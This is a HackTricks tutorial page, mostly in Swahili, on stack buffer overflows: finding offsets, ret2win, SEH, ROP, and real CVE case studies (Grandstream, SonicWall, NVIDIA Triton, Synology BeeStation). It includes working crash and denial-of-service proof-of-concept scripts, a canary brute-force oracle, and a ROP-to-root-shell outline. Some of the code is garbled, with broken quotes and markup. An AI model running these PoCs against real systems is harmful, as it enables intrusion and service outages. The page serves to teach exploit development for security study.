Stack Overflow
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Je, ni nini Stack Overflow
A stack overflow ni udhaifu unaotokea wakati programu inaandika data zaidi kwenye stack kuliko ilivyopewa kushikilia. Data iliyozidi itauandika juu ya nafasi ya kumbukumbu jirani (overwrite adjacent memory space), na kusababisha kuharibika kwa data halali, kuingiliwa kwa mtiririko wa udhibiti, na pengine utekelezaji wa msimbo mbaya. Tatizo hili mara nyingi linatokea kutokana na matumizi ya functions zisizo salama ambazo hazifanyi uhakiki wa mipaka (bounds checking) kwenye input.
Shida kuu ya uandishi huu ni kwamba saved instruction pointer (EIP/RIP) na saved base pointer (EBP/RBP) zinazotumika kurudi kwenye function iliyotangulia zimehifadhiwa kwenye stack. Kwa hivyo, mshambuliaji ataweza kuandika juu yao na kupata udhibiti wa mtiririko wa utekelezaji wa programu.
Udhaifu huu kawaida unatokea kwa sababu function inakopa ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake, hivyo kuwa na uwezo wa kuandika sehemu nyingine za stack.
Baadhi ya functions za kawaida zilizo hatarini kwa hili ni: strcpy, strcat, sprintf, gets… Pia, functions kama fgets, read & memcpy zinazopokea hoja ya length argument, zinaweza kutumika kwa njia isiyo salama ikiwa urefu uliotajwa ni mkubwa zaidi kuliko uliotengwa.
Kwa mfano, functions zifuatazo zinaweza kuwa nyeti (vulnerable):
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Kupata Stack Overflows offsets
Njia ya kawaida zaidi ya kugundua stack overflows ni kutoa ingizo kubwa sana ya As (kwa mfano python3 -c 'print("A"*1000)') na kutegemea Segmentation Fault inayoonyesha kuwa anwani 0x41414141 ilijaribiwa kufikiwa.
Zaidi ya hayo, mara utakapoona kuna Stack Overflow vulnerability utahitaji kupata offset hadi itakapowezekana kuandika juu ya return address, kwa hili kawaida hutumiwa De Bruijn sequence. Kwa alfabeti yenye ukubwa k na subsequences za urefu n, ni mfuatano mzunguko ambamo kila subsequence inayowezekana ya urefu n inaonekana mara moja tu kama subsequence mfululizo.
Kwa njia hii, badala ya kuhitaji kutambua kwa mkono ni offset gani inahitajika kudhibiti EIP, inawezekana kutumia mojawapo ya mifuato hayo kama padding kisha kupata offset ya bytes ambazo ziliisha kuandika juu yake.
Inawezekana kutumia pwntools kwa hili:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
au GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
Njia inayotumika zaidi kwa aina hii ya udhaifu ni kwa modifying the return address ili wakati function itakapomalizika control flow itarejelewa mahali pale mtumiaji alibainisha kwenye pointer hii.
However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).
Ret2win
In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:
Stack Shellcode
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:
Windows SEH-based exploitation (nSEH/SEH)
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
ROP & Ret2… techniques
This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:
Heap Overflows
An overflow is not always going to be in the stack, it could also be in the heap for example:
Aina za ulinzi
There are several protections trying to prevent the exploitation of vulnerabilities, check them in:
Common Binary Exploitation Protections & Bypasses
Real-World Example: CVE-2026-2329 (Grandstream GXP1600 unauthenticated HTTP stack overflow)
/app/bin/gs_web(32-bit ARM) exposes/cgi-bin/api.values.geton TCP/80 with no authentication. The POST parameterrequestis colon-delimited; each character is copied intochar small_buffer[64]and the token is NUL-terminated on:or end, without any length check, letting a single oversized token smash the saved registers/return address.- PoC overflow (crashes and shows attacker data in registers):
curl -ik http://<target>/cgi-bin/api.values.get --data "request=$(python3 - <<'PY'\nprint('A'*256)\nPY)". - Delimiter-driven multi-NUL placement: kila colon inaanza parsing upya na inaongeza trailing NUL. Kwa kutumia multiple overlong identifiers, terminator ya kila token inaweza kuendana na offset tofauti katika corrupted frame, ikimruhusu mshambuliaji kuweka several
0x00bytes ingawa kila overflow kawaida huwaongeza moja tu. Hii ni muhimu kwa sababu non-PIE binary ime-mapped at0x00008000, hivyo ROP gadget addresses zina embed NUL bytes. - Mfano wa colon payload kuacha NULs tano kwenye offsets zilizochaguliwa (lengths tuned per stack layout):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA:BBBBBBBBBBBBBBBBBBBBB:CCCCCCCCCCCCCCCCCCCC:DDDDDDDDDDD:EEE checksecshows NX enabled, no canary, no PIE. Exploitation uses a ROP chain built from fixed addresses (e.g., callsystem()thenexit()), staging arguments after planting the required NUL bytes with the delimiter trick.
Real-World Example: CVE-2025-40596 (SonicWall SMA100)
A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance.
The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Uongofu wa kwanza (
%2s) huhifadhi kwa usalama mbili bytes ndani yaversion(mf."v1"). - Uongofu wa pili (
%s) haina length specifier, kwa hiyosscanfitaendelea kunakili mpaka NUL byte ya kwanza. - Kwa sababu
endpointiko kwenye stack na ni 0x800 bytes long, kutoa path ndefu kuliko 0x800 bytes kunaharibu kila kitu kilicho baada ya buffer ‑ ikiwa ni pamoja na stack canary na saved return address.
Proof-of-concept ya mstari mmoja inatosha kusababisha crash before authentication:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Ingawa stack canaries husitisha mchakato, mshambuliaji bado anapata mbinu ya msingi ya Denial-of-Service (na, kwa taarifa za ziada leaks, inaweza kusababisha code-execution).
Mfano wa Dunia Halisi: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
NVIDIA’s Triton Inference Server (≤ v25.06) ilikuwa na stack-based overflows kadhaa zinazofikiwa kupitia HTTP API yake.
Mfano dhaifu ulionekana mara kwa mara katika http_server.cc na sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) inarudisha idadi ya segmenti za buffer za ndani zinazounda mwili wa ombi la HTTP wa sasa.- Kila segmenti husababisha
evbuffer_iovecya 16-byte kutengwa kwenye stack kupitiaalloca()– bila kikomo cha juu. - Kwa kutumia vibaya HTTP chunked transfer-encoding, client anaweza kulazimisha ombi kugawanywa katika mamia za maelfu za vipande vya 6-byte (
"1\r\nA\r\n"). Hii inasababishankukua bila kikomo hadi stack iishe.
Uthibitisho wa Dhana (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Ombi la takriban 3 MB linatosha ku-overwrite anwani ya kurejesha iliyohifadhiwa na **crash** daemon kwenye default build.
### Mfano wa Uhalisia: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Mnyororo wa Synacktiv katika Pwn2Own 2025 ulitumia pre-auth overflow katika `SYNO.BEE.AdminCenter.Auth` kwenye port 5000. `AuthManagerImpl::ParseAuthInfo` ina-Base64-decode input ya mshambulizi ndani ya 4096-byte stack buffer lakini kwa makosa inaweka `decoded_len = auth_info->len`. Kwa sababu CGI worker hufork kwa kila ombi, kila mtoto anarithi stack canary ya mzazi, kwa hivyo primitive moja thabiti ya overflow inatosha kuharibu stack na leak siri zote zinazohitajika.
#### Base64-decoded JSON as a structured overflow
Blob iliyodecode lazima iwe JSON halali na ijumuishe vichave `"state"` na `"code"`; vinginevyo, parser itatupa kosa kabla overflow haijaweza kutumika. Synacktiv walitatua hili kwa Base64-encoding payload ambayo ina-decode hadi JSON, kisha byte ya NUL, kisha mfululizo wa overflow. `strlen(decoded)` inasimama kwenye NUL hivyo parsing inafanikiwa, lakini `SLIBCBase64Decode` tayari ime-overwrite stack baada ya object ya JSON, ikifunika canary, saved RBP, na return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi inafork mara moja kwa kila HTTP request, hivyo michakato tanzu (children) zote zinashiriki canary ile ile, stack layout, na PIE slide. Exploit inachukulia HTTP status code kama oracle: jibu la 200 linamaanisha byte iliyokisia ilihifadhi stack, wakati 502 (au muunganisho uliokatika) linamaanisha mchakato ulianguka. Brute-forcing kila byte kwa mfululizo hurejesha canary ya 8-byte, pointer ya stack iliyohifadhiwa, na return address ndani ya libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr inaita tu bf_next_byte mara nane huku ikiambatisha prefix iliyothibitishwa. Synacktiv waliparalelisha oracles hizi kwa takriban 16 worker threads, wakipunguza total leak time (canary + stack ptr + lib base) hadi chini ya dakika tatu.
Kutoka leaks hadi ROP & utekelezaji
Mara tu library base inapojulikana, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) huunda primitive ya arb_write inayoweka /bin/bash, -c, na amri ya attacker kwenye leaked stack address. Hatimaye, chain inaweka calling convention kwa SLIBCExecl (a BeeStation wrapper around execl(2)), ikitoa root shell bila kuhitaji bug tofauti ya info-leak.
References
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
- Rapid7 – CVE-2026-2329 unauthenticated stack overflow in Grandstream GXP1600
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


